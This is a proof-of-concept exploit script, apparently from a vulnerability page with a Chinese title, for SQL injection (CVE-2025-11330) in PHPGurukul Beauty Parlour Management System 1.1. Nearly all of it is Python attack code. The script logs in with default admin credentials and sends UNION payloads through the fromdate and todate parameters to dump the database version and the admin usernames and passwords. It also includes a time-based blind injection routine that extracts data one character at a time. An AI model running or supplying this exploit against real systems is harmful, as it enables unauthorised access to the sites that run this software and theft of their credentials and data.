CVE-2025-11330 PHPGurukul美容院管理系统SQL注入漏洞

# CVE-2025-11330 - PHPGurukul Beauty Parlour Management System 1.1 # SQL Injection PoC via fromdate/todate parameters # File: /admin/sales-reports-detail.php import requests # Target configuration TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/admin/index.php" INJECT_URL = f"{TARGET_URL}/admin/sales-reports-detail.php" # Admin credentials (need low privilege access) USERNAME = "admin" PASSWORD = "admin123" # Create session to maintain cookies session = requests.Session() # Step 1: Login as admin login_data = { "username": USERNAME, "password": PASSWORD, "submit": "" } session.post(LOGIN_URL, data=login_data) # Step 2: Exploit SQL Injection via fromdate parameter # Payload to extract database version sql_payload_fromdate = "' UNION SELECT 1,version(),database(),4,5-- -" # Payload to extract admin credentials sql_payload_todate = "' UNION SELECT 1,username,password,4,5 FROM tbladmin-- -" # Step 3: Send injection request params = { "fromdate": sql_payload_fromdate, "todate": sql_payload_todate } response = session.get(INJECT_URL, params=params) print("[*] Response status:", response.status_code) print("[*] Response body:", response.text[:2000]) # Alternative: Boolean-based blind SQL injection def blind_sqli(session, url, param_name): """Time-based blind SQL injection to extract data character by character""" result = "" for position in range(1, 50): for char_code in range(32, 127): # MySQL time-based blind injection payload payload = f"' AND IF(ASCII(SUBSTRING(database(),{position},1))={char_code},SLEEP(2),0)-- -" params = {param_name: payload, "todate": "2025-01-01"} import time start_time = time.time() session.get(url, params=params) elapsed = time.time() - start_time if elapsed >= 2: result += chr(char_code) print(f"[+] Found character at position {position}: {chr(char_code)}") break else: break return result # Uncomment to run blind SQLi extraction # db_name = blind_sqli(session, INJECT_URL, "fromdate") # print(f"[+] Database name: {db_name}")